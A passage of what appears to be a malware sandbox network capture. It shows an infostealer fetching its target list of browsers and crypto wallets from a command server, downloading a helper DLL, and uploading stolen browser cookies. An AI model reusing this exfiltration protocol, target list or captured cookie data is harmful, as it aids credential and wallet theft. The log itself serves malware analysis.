R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
Dec 18, 2024 12:00:13.928340912 CET	124	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxc
Dec 18, 2024 12:00:14.119090080 CET	388	IN	Data Raw: 54 33 42 6c 63 6d 45 67 55 32 39 6d 64 48 64 68 63 6d 56 38 62 33 42 6c 63 6d 46 38 62 33 42 6c 63 6d 45 75 5a 58 68 6c 66 45 39 77 5a 58 4a 68 49 45 64 59 49 46 4e 30 59 57 4a 73 5a 58 78 63 54 33 42 6c 63 6d 45 67 55 32 39 6d 64 48 64 68 63 6d Data Ascii: T3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRmlyZWZveHxcTW96aWxsYVxGaXJlZm94XFByb2ZpbGVzfGZpcmVmb3h8MHxQYWxlIE1vb258XE1vb25jaGlsZCBQcm9kdWN0aW9uc1xQYWxlIE1vb25cUHJvZmlsZXN
Dec 18, 2024 12:00:14.120414972 CET	468	OUT	POST /2fb6c2cc8dce150a.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKKKEHJKFCFCBFHIIDGD Host: 185.215.113.17 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4b 4b 45 48 4a 4b 46 43 46 43 42 46 48 49 49 44 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 37 32 39 38 62 36 36 66 39 33 61 64 30 64 39 38 32 33 62 32 35 36 31 34 37 30 39 62 35 35 34 34 62 61 31 30 33 30 30 36 37 34 36 32 64 66 31 62 62 66 33 38 37 65 32 34 66 31 32 36 37 62 37 39 36 66 35 63 63 62 66 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 4b 45 48 4a 4b 46 43 46 43 42 46 48 49 49 44 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 4b 45 48 4a 4b 46 43 46 43 42 46 48 49 49 44 47 44 2d 2d 0d 0a Data Ascii: ------KKKKEHJKFCFCBFHIIDGDContent-Disposition: form-data; name="token"57298b66f93ad0d9823b25614709b5544ba1030067462df1bbf387e24f1267b796f5ccbf------KKKKEHJKFCFCBFHIIDGDContent-Disposition: form-data; name="message"plugins------KKKKEHJKFCFCBFHIIDGD--
Dec 18, 2024 12:00:14.611038923 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 11:00:14 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Dec 18, 2024 12:00:14.611133099 CET	124	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1k
Dec 18, 2024 12:00:14.611145973 CET	1236	IN	Data Raw: 63 47 35 73 63 47 64 77 63 48 77 78 66 44 42 38 4d 48 78 4c 5a 58 42 73 63 6e 78 6b 62 57 74 68 62 57 4e 72 62 6d 39 6e 61 32 64 6a 5a 47 5a 6f 61 47 4a 6b 5a 47 4e 6e 61 47 46 6a 61 47 74 6c 61 6d 56 68 63 48 77 78 66 44 42 38 4d 48 78 54 62 32 Data Ascii: cG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBkbWthYWtlam5oYWV8MXwwfDB8UG9seW1lc2ggV2F
Dec 18, 2024 12:00:14.611157894 CET	1236	IN	Data Raw: 55 32 39 73 5a 6d 78 68 63 6d 55 67 56 32 46 73 62 47 56 30 66 47 4a 6f 61 47 68 73 59 6d 56 77 5a 47 74 69 59 58 42 68 5a 47 70 6b 62 6d 35 76 61 6d 74 69 5a 32 6c 76 61 57 39 6b 59 6d 6c 6a 66 44 46 38 4d 48 77 77 66 45 4e 35 59 57 35 76 49 46 Data Ascii: U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWN
Dec 18, 2024 12:00:14.611169100 CET	248	IN	Data Raw: 63 47 56 76 61 32 4a 70 61 32 68 6d 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 46 79 64 47 6c 68 62 69 42 42 63 48 52 76 63 79 42 58 59 57 78 73 5a 58 52 38 5a 57 5a 69 5a 32 78 6e 62 32 5a 76 61 58 42 77 59 6d 64 6a 61 6d 56 77 62 6d 68 70 59 6d Data Ascii: cGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFR
Dec 18, 2024 12:00:14.611197948 CET	1236	IN	Data Raw: 63 69 42 51 59 58 4e 7a 64 32 39 79 5a 43 42 4e 59 57 35 68 5a 32 56 79 66 47 6c 74 62 47 39 70 5a 6d 74 6e 61 6d 46 6e 5a 32 68 75 62 6d 4e 71 61 32 68 6e 5a 32 52 6f 59 57 78 74 59 32 35 6d 61 32 78 72 66 44 46 38 4d 48 77 77 66 45 46 31 64 47 Data Ascii: ciBQYXNzd29yZCBNYW5hZ2VyfGltbG9pZmtnamFnZ2hubmNqa2hnZ2RoYWxtY25ma2xrfDF8MHwwfEF1dGhlbnRpY2F0b3J8YmhnaG9hbWFwY2RwYm9ocGhpZ29vb2FkZGlucGtiYWl8MXwwfDB8QXV0aHl8Z2FlZG1qZGZtbWFoaGJqZWZjYmdhb2xoaGFubGFvbGJ8MXwwfDB8RU9TIEF1dGhlbnRpY2F0b3J8b2VsamRsZHB
Dec 18, 2024 12:00:14.611215115 CET	1236	IN	Data Raw: 61 47 52 6a 62 32 35 6b 59 6d 4e 69 5a 47 35 69 5a 57 56 77 63 47 64 6b 63 47 68 38 4d 58 77 77 66 44 42 38 55 6d 6c 7a 5a 53 41 74 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 6f 59 6d 4a 6e 59 6d 56 77 61 47 64 76 61 6d 6c 72 59 57 Data Ascii: aGRjb25kYmNiZG5iZWVwcGdkcGh8MXwwfDB8UmlzZSAtIEFwdG9zIFdhbGxldHxoYmJnYmVwaGdvamlrYWpoZmJvbWhsbW1vbGxwaGNhZHwxfDB8MHxSYWluYm93IFdhbGxldHxvcGZnZWxtY21iaWFqYW1lcG5tbG9pamJwb2xlaWFtYXwxfDB8MHxOaWdodGx5IFdhbGxldHxmaWlrb21tZGRiZWNjYW9pY29lam9uaWFtbW5
Dec 18, 2024 12:00:14.612413883 CET	248	IN	Data Raw: 62 47 56 30 66 47 39 71 5a 32 64 74 59 32 68 73 5a 32 68 75 61 6d 78 68 63 47 31 6d 59 6d 35 71 61 47 39 73 5a 6d 70 72 61 57 6c 6b 59 6d 4e 6f 66 44 46 38 4d 48 77 77 66 46 42 31 62 48 4e 6c 49 46 64 68 62 47 78 6c 64 43 42 44 61 48 4a 76 62 57 Data Ascii: bGV0fG9qZ2dtY2hsZ2huamxhcG1mYm5qaG9sZmpraWlkYmNofDF8MHwwfFB1bHNlIFdhbGxldCBDaHJvbWl1bXxjaW9qb2Nwa2NsZmZsb21iYmNmaWdjaWpqY2JrbWhhZnwxfDB8MHxNYWdpYyBFZGVuIFdhbGxldHxta3BlZ2prYmxra2VmYWNmbm1rYWpjam1hYmlqaGNsZ3wxfDB8MHxCYWNrcGFjayBXYWxsZXR8YWZsa21
Dec 18, 2024 12:00:14.759761095 CET	544	IN	Data Raw: 5a 57 52 69 61 6d 6c 76 61 58 42 6e 62 47 64 6a 59 6d 4e 74 62 6d 4a 77 5a 32 78 70 62 32 5a 38 4d 58 77 77 66 44 42 38 56 47 39 75 61 32 56 6c 63 47 56 79 49 46 64 68 62 47 78 6c 64 48 78 76 62 57 46 68 59 6d 4a 6c 5a 6d 4a 74 61 57 6c 71 5a 57 Data Ascii: ZWRiamlvaXBnbGdjYmNtbmJwZ2xpb2Z8MXwwfDB8VG9ua2VlcGVyIFdhbGxldHxvbWFhYmJlZmJtaWlqZWRuZ3BsZmptbm9vcHBiY2xra3wxfDB8MHxPcGVuTWFzayBXYWxsZXR8cGVuamxkZGpramdwbmtsbGJvY2NkZ2NjZWtwa2NiaW58MXwwfDB8U2FmZVBhbCBXYWxsZXR8YXBlbmtmYmJwbWhpaGVobWlobmRtbWNkYW5
Dec 18, 2024 12:00:15.006077051 CET	469	OUT	POST /2fb6c2cc8dce150a.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFCBFBGDBKJKECAAKKFH Host: 185.215.113.17 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 46 43 42 46 42 47 44 42 4b 4a 4b 45 43 41 41 4b 4b 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 37 32 39 38 62 36 36 66 39 33 61 64 30 64 39 38 32 33 62 32 35 36 31 34 37 30 39 62 35 35 34 34 62 61 31 30 33 30 30 36 37 34 36 32 64 66 31 62 62 66 33 38 37 65 32 34 66 31 32 36 37 62 37 39 36 66 35 63 63 62 66 0d 0a 2d 2d 2d 2d 2d 2d 43 46 43 42 46 42 47 44 42 4b 4a 4b 45 43 41 41 4b 4b 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 43 46 43 42 46 42 47 44 42 4b 4a 4b 45 43 41 41 4b 4b 46 48 2d 2d 0d 0a Data Ascii: ------CFCBFBGDBKJKECAAKKFHContent-Disposition: form-data; name="token"57298b66f93ad0d9823b25614709b5544ba1030067462df1bbf387e24f1267b796f5ccbf------CFCBFBGDBKJKECAAKKFHContent-Disposition: form-data; name="message"fplugins------CFCBFBGDBKJKECAAKKFH--
Dec 18, 2024 12:00:15.452716112 CET	335	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 11:00:15 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Dec 18, 2024 12:00:15.504033089 CET	202	OUT	POST /2fb6c2cc8dce150a.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJJEGHDAECBFHJKEGIJK Host: 185.215.113.17 Content-Length: 7627 Connection: Keep-Alive Cache-Control: no-cache
Dec 18, 2024 12:00:16.208195925 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 11:00:15 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 18, 2024 12:00:16.717824936 CET	93	OUT	GET /f1ddeb6592c03206/sqlite3.dll HTTP/1.1 Host: 185.215.113.17 Cache-Control: no-cache
Dec 18, 2024 12:00:17.166265965 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 11:00:16 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Dec 18, 2024 12:00:18.644190073 CET	1236	IN	DELETE FROM '%q'.'%q_parent' WHERE nodeno = ?1aaa&a\aaaa,%.s REAL,%.s INT`akanodeparentaapajson_eachjson_treea_aa _abad parameter or other API misuseout of memory!5Ng22d@@ @^aGaMaa'a^aa'aa&aa}aaaaaqabtnfrjsonjson_arrayjson_array_lengthjson_extract->->>json_insertjson_objectjson_patchjson_quotejson_removejson_replacejson_setjson_typejson_validjson_group_arrayjson_group_object;'datetimedatetimestrftimecurrent_timecurrent_timestampcurrent_datesqlite_rename_columnsqlite_rename_tablesqlite_rename_testsqlite_drop_columnsqlite_rename_quotefiximplies_nonnull_rowexpr_compareexpr_implies_expraffinityload [TRUNCATED] Data Raw: Data Ascii:
Dec 18, 2024 12:00:19.483361006 CET	952	OUT	POST /2fb6c2cc8dce150a.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAAEBKEGHJKEBFHJDBFC Host: 185.215.113.17 Content-Length: 751 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 41 41 45 42 4b 45 47 48 4a 4b 45 42 46 48 4a 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 37 32 39 38 62 36 36 66 39 33 61 64 30 64 39 38 32 33 62 32 35 36 31 34 37 30 39 62 35 35 34 34 62 61 31 30 33 30 30 36 37 34 36 32 64 66 31 62 62 66 33 38 37 65 32 34 66 31 32 36 37 62 37 39 36 66 35 63 63 62 66 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 45 42 4b 45 47 48 4a 4b 45 42 46 48 4a 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 45 42 4b 45 47 48 4a 4b 45 42 46 48 4a 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------CAAEBKEGHJKEBFHJDBFCContent-Disposition: form-data; name="token"57298b66f93ad0d9823b25614709b5544ba1030067462df1bbf387e24f1267b796f5ccbf------CAAEBKEGHJKEBFHJDBFCContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------CAAEBKEGHJKEBFHJDBFCContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjkwODAyCU5JRAk1MTE9VUJlTkNrWjNMOHlYY3g4cWg0SkZVWGt3a05DOUlyZGlSZGJqU1RqcVNpRmg4V3JSY2JLcl9yT0piZ0hZNlRBNFJULTZwczBiaGVtZndDUEJzTE1nUFQ3LWdUY1dxSHZadlpiYWZPcGtxUnkwZEx5WUc5QWpQMnZiVUJvbWFybmM5cGNaVmxoSGtVZVVhV011ckQwR0dYeVcwNV9CXzFJeVVOWUVFTG15cVJnCi5nb29nbGUuY29tCVRSVUUJLwlGQUxTRQkxNjk5MDcxNjQwCTFQX0pBUgkyMDIzLTEwLTA1LTA2Cg==------CAAEBKEGHJKEBFHJDBFC--
Dec 18, 2024 12:00:20.114984989 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 11:00:19 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 18, 2024 12:00:21.417735100 CET	564	OUT	POST /2fb6c2cc8dce150a.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAFHIIDHJEBFBFIDAKFB Host: 185.215.113.17 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 41 46 48 49 49 44 48 4a 45 42 46 42 46 49 44 41 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 37 32 39 38 62 36 36 66 39 33 61 64 30 64 39 38 32 33 62 32 35 36 31 34 37 30 39 62 35 35 34 34 62 61 31 30 33 30 30 36 37 34 36 32 64 66 31 62 62 66 33 38 37 65 32 34 66 31 32 36 37 62 37 39 36 66 35 63 63 62 66 0d 0a 2d 2d 2d 2d 2d 2d 41 41 46 48 49 49 44 48 4a 45 42 46 42 46 49 44 41 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 41 46 48 49 49 44 48 4a 45 42 46 42 46 49 44 41 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------AAFHIIDHJEBFBFIDAKFBContent-Disposition: form-data; name="token"57298b66f93ad0d9823b25614709b5544ba1030067462df1bbf387e24f1267b796f5ccbf------AAFHIIDHJEBFBFIDAKFBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------AAFHIIDHJEBFBFIDAKFBContent-Disposition: form-data; name="file"------AAFHIIDHJEBFBFIDAKFB--
Dec 18, 2024 12:00:22.047777891 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 11:00:21 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 18, 2024 12:00:23.029114008 CET	564	OUT	POST /2fb6c2cc8dce150a.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCAFCAFHJJDBFIECFBKE Host: 185.215.113.17 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 43 41 46 43 41 46 48 4a 4a 44 42 46 49 45 43 46 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 37 32 39 38 62 36 36 66 39 33 61 64 30 64 39 38 32 33 62 32 35 36 31 34 37 30 39 62 35 35 34 34 62 61 31 30 33 30 30 36 37 34 36 32 64 66 31 62 62 66 33 38 37 65 32 34 66 31 32 36 37 62 37 39 36 66 35 63 63 62 66 0d 0a 2d 2d 2d 2d 2d 2d 47 43 41 46 43 41 46 48 4a 4a 44 42 46 49 45 43 46 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 